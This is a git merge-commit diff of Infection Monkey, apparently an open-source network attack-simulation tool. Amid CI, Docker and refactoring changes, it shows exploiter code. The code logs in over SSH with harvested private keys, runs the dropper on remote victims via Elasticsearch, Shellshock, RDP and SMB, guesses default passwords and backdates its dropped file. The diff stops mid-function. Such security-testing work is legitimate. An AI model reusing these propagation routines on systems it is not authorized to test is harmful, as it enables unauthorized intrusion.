Merge branch 'develop' into nadler/pth

# Conflicts:
#	infection_monkey/requirements.txt
#	monkey_island/cc/app.py
#	monkey_island/cc/resources/telemetry.py
#	monkey_island/cc/ui/src/components/pages/ReportPage.js
This commit is contained in:
maor.rayzin 2018-07-24 15:00:58 +03:00
commit f97df84da9
70 changed files with 6027 additions and 1015 deletions

23
.github/ISSUE_TEMPLATE/Bug_report.md vendored Normal file
View File

@ -0,0 +1,23 @@
---
name: Bug report
about: Create a report to help us fix things!
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Configure the Monkey with X settings
2. Run the monkey on specific machine
3. See error
**Expected behavior**
A description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Machine version(please complete the following information):**
- OS: Windows or Linux

27
.travis.yml Normal file
View File

@ -0,0 +1,27 @@
group: travis_latest
language: python
cache: pip
python:
- 2.7
- 3.6
#- nightly
#- pypy
#- pypy3
matrix:
allow_failures:
- python: nightly
- python: pypy
- python: pypy3
install:
#- pip install -r requirements.txt
- pip install flake8 # pytest # add another testing frameworks later
before_script:
# stop the build if there are Python syntax errors or undefined names
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
script:
- true # pytest --capture=sys # add other tests here
notifications:
on_success: change
on_failure: change # `always` will be the setting once code changes slow down

View File

@ -2,7 +2,7 @@
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place! Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker]. Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
Please try to be as specific as you can about your problem; try to include steps Please try to be as specific as you can about your problem; try to include steps
to reproduce. While we'll try to help anyway, focusing us will help us help you faster. to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
@ -20,7 +20,7 @@ The following is a *short* list of recommendations. PRs that don't match these c
* **Don't** leave your pull request description blank. * **Don't** leave your pull request description blank.
* **Do** license your code as GPLv3. * **Do** license your code as GPLv3.
Also, please submit PRs to the develop branch.
## Issues ## Issues
* **Do** write a detailed description of your bug and use a descriptive title. * **Do** write a detailed description of your bug and use a descriptive title.

View File

@ -50,6 +50,6 @@ and follow the instructions at the readme files under [infection_monkey](infecti
License License
======= =======
Copyright (c) 2017 Guardicore Ltd Copyright (c) Guardicore Ltd
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3). See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).

1
common/__init__.py Normal file
View File

@ -0,0 +1 @@
__author__ = 'itay.mizeretz'

View File

@ -0,0 +1 @@
__author__ = 'itay.mizeretz'

View File

@ -0,0 +1,123 @@
import random
import socket
import struct
from abc import ABCMeta, abstractmethod
import ipaddress
from six import text_type
__author__ = 'itamar'
class NetworkRange(object):
__metaclass__ = ABCMeta
def __init__(self, shuffle=True):
self._shuffle = shuffle
def get_range(self):
"""
:return: Returns a sequence of IPs in an internal format (might be numbers)
"""
return self._get_range()
def __iter__(self):
"""
Iterator of ip addresses (strings) from the current range.
Use get_range if you want it in one go.
:return:
"""
base_range = self.get_range()
if self._shuffle:
random.shuffle(base_range)
for x in base_range:
yield self._number_to_ip(x)
@abstractmethod
def is_in_range(self, ip_address):
raise NotImplementedError()
@abstractmethod
def _get_range(self):
raise NotImplementedError()
@staticmethod
def get_range_obj(address_str):
address_str = address_str.strip()
if not address_str: # Empty string
return None
if -1 != address_str.find('-'):
return IpRange(ip_range=address_str)
if -1 != address_str.find('/'):
return CidrRange(cidr_range=address_str)
return SingleIpRange(ip_address=address_str)
@staticmethod
def _ip_to_number(address):
return struct.unpack(">L", socket.inet_aton(address))[0]
@staticmethod
def _number_to_ip(num):
return socket.inet_ntoa(struct.pack(">L", num))
class CidrRange(NetworkRange):
def __init__(self, cidr_range, shuffle=True):
super(CidrRange, self).__init__(shuffle=shuffle)
self._cidr_range = cidr_range.strip()
self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False)
def __repr__(self):
return "<CidrRange %s>" % (self._cidr_range,)
def is_in_range(self, ip_address):
return ipaddress.ip_address(ip_address) in self._ip_network
def _get_range(self):
return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address]
class IpRange(NetworkRange):
def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True):
super(IpRange, self).__init__(shuffle=shuffle)
if ip_range is not None:
addresses = ip_range.split('-')
if len(addresses) != 2:
raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range)
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
elif (lower_end_ip is not None) and (higher_end_ip is not None):
self._lower_end_ip = lower_end_ip.strip()
self._higher_end_ip = higher_end_ip.strip()
else:
raise ValueError('Illegal IP range: %s' % ip_range)
self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip)
self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
if self._higher_end_ip_num < self._lower_end_ip_num:
raise ValueError(
'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip))
def __repr__(self):
return "<IpRange %s-%s>" % (self._lower_end_ip, self._higher_end_ip)
def is_in_range(self, ip_address):
return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num
def _get_range(self):
return range(self._lower_end_ip_num, self._higher_end_ip_num + 1)
class SingleIpRange(NetworkRange):
def __init__(self, ip_address, shuffle=True):
super(SingleIpRange, self).__init__(shuffle=shuffle)
self._ip_address = ip_address
def __repr__(self):
return "<SingleIpRange %s>" % (self._ip_address,)
def is_in_range(self, ip_address):
return self._ip_address == ip_address
def _get_range(self):
return [SingleIpRange._ip_to_number(self._ip_address)]

19
docker/Dockerfile Normal file
View File

@ -0,0 +1,19 @@
FROM debian:jessie-slim
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
WORKDIR /app
ADD https://github.com/guardicore/monkey/releases/download/1.5.2/infection_monkey_1.5.2_deb.tgz .
RUN tar xvf infection_monkey_1.5.2_deb.tgz \
&& apt-get -yqq update \
&& apt-get -yqq upgrade \
&& apt-get -yqq install python-pip \
libssl-dev \
supervisor \
&& dpkg -i *.deb
COPY stack.conf /etc/supervisor/conf.d/stack.conf
ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ]

11
docker/README.md Normal file
View File

@ -0,0 +1,11 @@
# Improvements needed
* Remove embedded mongodb from .deb, it forbids installation on a `debian:stretch` distro.
* Package monkey for system's python usage.
* Fix package number: (I installed the 1.5.2)
```
ii gc-monkey-island 1.0 amd64 Guardicore Infection Monkey Island installation package
```
* Use .deb dependencies for mongodb setup?
* Use docker-compose for stack construction.
* Remove the .sh script from the systemd unit file (`/var/monkey_island/ubuntu/systemd/start_server.sh`) which only does a `cd && localpython run`

4
docker/stack.conf Normal file
View File

@ -0,0 +1,4 @@
[program:mongod]
command=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db
[program:monkey]
command=/var/monkey_island/ubuntu/systemd/start_server.sh

View File

@ -1,4 +1,5 @@
import os import os
import struct
import sys import sys
import types import types
import uuid import uuid
@ -6,9 +7,9 @@ from abc import ABCMeta
from itertools import product from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
from network.range import FixedRange MSSQLFinger
__author__ = 'itamar' __author__ = 'itamar'
@ -40,7 +41,7 @@ def _cast_by_example(value, example):
return int(value) return int(value)
elif example_type is float: elif example_type is float:
return float(value) return float(value)
elif example_type is types.ClassType or example_type is ABCMeta: elif example_type in (type, ABCMeta):
return globals()[value] return globals()[value]
else: else:
return None return None
@ -84,10 +85,10 @@ class Configuration(object):
if val_type is types.FunctionType or val_type is types.MethodType: if val_type is types.FunctionType or val_type is types.MethodType:
continue continue
if val_type is types.ClassType or val_type is ABCMeta: if val_type in (type, ABCMeta):
value = value.__name__ value = value.__name__
elif val_type is tuple or val_type is list: elif val_type is tuple or val_type is list:
if len(value) != 0 and (type(value[0]) is types.ClassType or type(value[0]) is ABCMeta): if len(value) != 0 and type(value[0]) in (type, ABCMeta):
value = val_type([x.__name__ for x in value]) value = val_type([x.__name__ for x in value])
result[key] = value result[key] = value
@ -116,7 +117,8 @@ class Configuration(object):
dropper_set_date = True dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh' dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path = r"C:\Windows\monkey.exe" dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey' dropper_target_path_linux = '/tmp/monkey'
########################### ###########################
@ -144,10 +146,10 @@ class Configuration(object):
max_iterations = 1 max_iterations = 1
scanner_class = TcpScanner scanner_class = TcpScanner
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi ElasticGroovyExploiter, Struts2Exploiter # multi
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration
@ -162,7 +164,7 @@ class Configuration(object):
# Configuration servers to try to connect to, in this order. # Configuration servers to try to connect to, in this order.
command_servers = [ command_servers = [
"41.50.73.31:5000" "192.0.2.0:5000"
] ]
# sets whether or not to locally save the running configuration after finishing # sets whether or not to locally save the running configuration after finishing
@ -183,10 +185,9 @@ class Configuration(object):
# Auto detect and scan local subnets # Auto detect and scan local subnets
local_network_scan = True local_network_scan = True
range_class = FixedRange subnet_scan_list = []
range_fixed = ['', ]
blocked_ips = ['', ] blocked_ips = []
# TCP Scanner # TCP Scanner
HTTP_PORTS = [80, 8080, 443, HTTP_PORTS = [80, 8080, 443,
@ -233,6 +234,12 @@ class Configuration(object):
""" """
return product(self.exploit_user_list, self.exploit_password_list) return product(self.exploit_user_list, self.exploit_password_list)
def get_exploit_user_ssh_key_pairs(self):
"""
:return: All combinations of the configurations users and ssh pairs
"""
return product(self.exploit_user_list, self.exploit_ssh_keys)
def get_exploit_user_password_or_hash_product(self): def get_exploit_user_password_or_hash_product(self):
""" """
Returns all combinations of the configurations users and passwords or lm/ntlm hashes Returns all combinations of the configurations users and passwords or lm/ntlm hashes
@ -251,6 +258,7 @@ class Configuration(object):
exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = [] exploit_lm_hash_list = []
exploit_ntlm_hash_list = [] exploit_ntlm_hash_list = []
exploit_ssh_keys = []
# smb/wmi exploiter # smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds

View File

@ -4,6 +4,7 @@ import platform
from socket import gethostname from socket import gethostname
import requests import requests
from requests.exceptions import ConnectionError
import monkeyfs import monkeyfs
import tunnel import tunnel
@ -24,10 +25,10 @@ class ControlClient(object):
proxies = {} proxies = {}
@staticmethod @staticmethod
def wakeup(parent=None, default_tunnel=None, has_internet_access=None): def wakeup(parent=None, has_internet_access=None):
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) if parent:
if parent or default_tunnel: LOG.debug("parent: %s" % (parent,))
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
hostname = gethostname() hostname = gethostname()
if not parent: if not parent:
parent = GUID parent = GUID
@ -35,48 +36,66 @@ class ControlClient(object):
if has_internet_access is None: if has_internet_access is None:
has_internet_access = check_internet_access(WormConfiguration.internet_services) has_internet_access = check_internet_access(WormConfiguration.internet_services)
monkey = {'guid': GUID,
'hostname': hostname,
'ip_addresses': local_ips(),
'description': " ".join(platform.uname()),
'internet_access': has_internet_access,
'config': WormConfiguration.as_dict(),
'parent': parent}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
data=json.dumps(monkey),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies,
timeout=20)
@staticmethod
def find_server(default_tunnel=None):
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
if default_tunnel:
LOG.debug("default_tunnel: %s" % (default_tunnel,))
current_server = ""
for server in WormConfiguration.command_servers: for server in WormConfiguration.command_servers:
try: try:
WormConfiguration.current_server = server current_server = server
monkey = {'guid': GUID,
'hostname': hostname,
'ip_addresses': local_ips(),
'description': " ".join(platform.uname()),
'internet_access': has_internet_access,
'config': WormConfiguration.as_dict(),
'parent': parent}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
debug_message = "Trying to connect to server: %s" % server debug_message = "Trying to connect to server: %s" % server
if ControlClient.proxies: if ControlClient.proxies:
debug_message += " through proxies: %s" % ControlClient.proxies debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message) LOG.debug(debug_message)
reply = requests.post("https://%s/api/monkey" % (server,), requests.get("https://%s/api?action=is-up" % (server,),
data=json.dumps(monkey), verify=False,
headers={'content-type': 'application/json'}, proxies=ControlClient.proxies)
verify=False, WormConfiguration.current_server = current_server
proxies=ControlClient.proxies,
timeout=20)
break break
except Exception as exc: except ConnectionError as exc:
WormConfiguration.current_server = "" current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc) LOG.warn("Error connecting to control server %s: %s", server, exc)
if not WormConfiguration.current_server: if current_server:
if not ControlClient.proxies: return True
else:
if ControlClient.proxies:
return False
else:
LOG.info("Starting tunnel lookup...") LOG.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel(default=default_tunnel) proxy_find = tunnel.find_tunnel(default=default_tunnel)
if proxy_find: if proxy_find:
proxy_address, proxy_port = proxy_find proxy_address, proxy_port = proxy_find
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access) return ControlClient.find_server()
else: else:
LOG.info("No tunnel found") LOG.info("No tunnel found")
return False
@staticmethod @staticmethod
def keepalive(): def keepalive():
@ -249,7 +268,6 @@ class ControlClient(object):
data=json.dumps(host_dict), data=json.dumps(host_dict),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies) verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code: if 200 == reply.status_code:
result_json = reply.json() result_json = reply.json()
filename = result_json.get('filename') filename = result_json.get('filename')

View File

@ -9,6 +9,7 @@ import sys
import time import time
from ctypes import c_char_p from ctypes import c_char_p
import filecmp
from config import WormConfiguration from config import WormConfiguration
from exploit.tools import build_monkey_commandline_explicitly from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
@ -38,7 +39,7 @@ class MonkeyDrops(object):
arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth') arg_parser.add_argument('-d', '--depth', type=int)
arg_parser.add_argument('-l', '--location') arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:] self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args) self.opts, _ = arg_parser.parse_known_args(args)
@ -53,10 +54,16 @@ class MonkeyDrops(object):
if self._config['destination_path'] is None: if self._config['destination_path'] is None:
LOG.error("No destination path specified") LOG.error("No destination path specified")
return return False
# we copy/move only in case path is different # we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) try:
file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path'])
except OSError:
file_moved = False
if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path'])
# first try to move the file # first try to move the file
if not file_moved and WormConfiguration.dropper_try_move_first: if not file_moved and WormConfiguration.dropper_try_move_first:
@ -105,8 +112,8 @@ class MonkeyDrops(object):
except: except:
LOG.warn("Cannot set reference date to destination file") LOG.warn("Cannot set reference date to destination file")
monkey_options = build_monkey_commandline_explicitly( monkey_options =\
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os(): if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
@ -130,22 +137,25 @@ class MonkeyDrops(object):
LOG.warn("Seems like monkey died too soon") LOG.warn("Seems like monkey died too soon")
def cleanup(self): def cleanup(self):
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ try:
os.path.exists(self._config['source_path']) and \ if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
WormConfiguration.dropper_try_move_first: os.path.exists(self._config['source_path']) and \
WormConfiguration.dropper_try_move_first:
# try removing the file first # try removing the file first
try: try:
os.remove(self._config['source_path']) os.remove(self._config['source_path'])
except Exception as exc: except Exception as exc:
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
# mark the file for removal on next boot # mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path']) dropper_source_path_ctypes = c_char_p(self._config['source_path'])
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
MOVEFILE_DELAY_UNTIL_REBOOT): MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError()) self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else: else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot", LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path']) self._config['source_path'])
except AttributeError:
LOG.error("Invalid configuration options. Failing")

View File

@ -1,18 +1,17 @@
{ {
"command_servers": [ "command_servers": [
"41.50.73.31:5000" "192.0.2.0:5000"
], ],
"internet_services": [ "internet_services": [
"monkey.guardicore.com", "monkey.guardicore.com",
"www.google.com" "www.google.com"
],
"keep_tunnel_open_time": 60,
"range_class": "RelativeRange",
"range_fixed": [
""
], ],
"blocked_ips": [""], "keep_tunnel_open_time": 60,
"current_server": "41.50.73.31:5000", "subnet_scan_list": [
],
"blocked_ips": [],
"current_server": "192.0.2.0:5000",
"alive": true, "alive": true,
"collect_system_info": true, "collect_system_info": true,
"extract_azure_creds": true, "extract_azure_creds": true,
@ -23,7 +22,8 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562", "dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true, "dropper_set_date": true,
"dropper_target_path": "C:\\Windows\\monkey.exe", "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",
@ -37,14 +37,16 @@
"ShellShockExploiter", "ShellShockExploiter",
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",
"PingScanner", "PingScanner",
"HTTPFinger", "HTTPFinger",
"SMBFinger", "SMBFinger",
"MySQLFinger" "MySQLFinger",
"ElasticFinger", "MSSQLFingerprint",
"ElasticFinger"
], ],
"max_iterations": 3, "max_iterations": 3,
"monkey_log_path_windows": "%temp%\\~df1563.tmp", "monkey_log_path_windows": "%temp%\\~df1563.tmp",
@ -67,6 +69,7 @@
"exploit_password_list": [], "exploit_password_list": [],
"exploit_lm_hash_list": [], "exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [], "exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5, "sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"], "sambacry_shares_not_to_check": ["IPC$", "print$"],
@ -90,4 +93,4 @@
"use_file_logging": true, "use_file_logging": true,
"victims_max_exploit": 7, "victims_max_exploit": 7,
"victims_max_find": 30 "victims_max_find": 30
} }

View File

@ -24,9 +24,9 @@ class HostExploiter(object):
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts}) 'info': self._exploit_info, 'attempts': self._exploit_attempts})
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''): def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password, self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
@abstractmethod @abstractmethod
def exploit_host(self): def exploit_host(self):
@ -41,3 +41,4 @@ from sshexec import SSHExploiter
from shellshock import ShellShockExploiter from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter

View File

@ -10,7 +10,7 @@ import logging
import requests import requests
from exploit import HostExploiter from exploit import HostExploiter
from model import MONKEY_ARG from model import DROPPER_ARG
from network.elasticfinger import ES_SERVICE, ES_PORT from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
@ -114,12 +114,14 @@ class ElasticGroovyExploiter(HostExploiter):
""" """
Runs the monkey Runs the monkey
""" """
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
cmdline += ' & '
self.run_shell_command(cmdline) self.run_shell_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, self.host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, src_path, target_path): def download_file_in_linux(self, src_path, target_path):

View File

@ -27,7 +27,7 @@ LOG = getLogger(__name__)
def twisted_log_func(*message, **kw): def twisted_log_func(*message, **kw):
if kw.has_key('isError') and kw['isError']: if kw.get('isError'):
error_msg = 'Unknown' error_msg = 'Unknown'
if 'failure' in kw: if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage() error_msg = kw['failure'].getErrorMessage()
@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter):
if self._config.rdp_use_vbs_download: if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % { command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
else: else:
command = RDP_CMDLINE_HTTP_BITS % { command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_pairs()

View File

@ -8,7 +8,7 @@ import requests
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from model import MONKEY_ARG from model import DROPPER_ARG
from shellshock_resources import CGI_FILES from shellshock_resources import CGI_FILES
from tools import build_monkey_commandline from tools import build_monkey_commandline
@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
self.attack_page(url, header, run_path) self.attack_page(url, header, run_path)
# run the monkey # run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
run_path = exploit + cmdline run_path = exploit + cmdline
self.attack_page(url, header, run_path) self.attack_page(url, header, run_path)

View File

@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
user, user,
password, password,
lm_hash, lm_hash,
@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter):
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else: else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -2,6 +2,7 @@ import logging
import time import time
import paramiko import paramiko
import StringIO
import monkeyfs import monkeyfs
from exploit import HostExploiter from exploit import HostExploiter
@ -31,6 +32,65 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time() self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port, ssh):
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
exploited = False
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
LOG.error("Failed reading ssh key")
try:
ssh.connect(self.host.ip_addr,
username=user,
pkey=pkey,
port=port,
timeout=None)
LOG.debug("Successfully logged in %s using %s users private key",
self.host, ssh_string)
exploited = True
self.report_login_attempt(True, user, ssh_key=ssh_string)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with %s"
" private key", self.host,
ssh_string)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
return exploited
def exploit_with_login_creds(self, port, ssh):
user_password_pairs = self._config.get_exploit_user_password_pairs()
exploited = False
for user, curpass in user_password_pairs:
try:
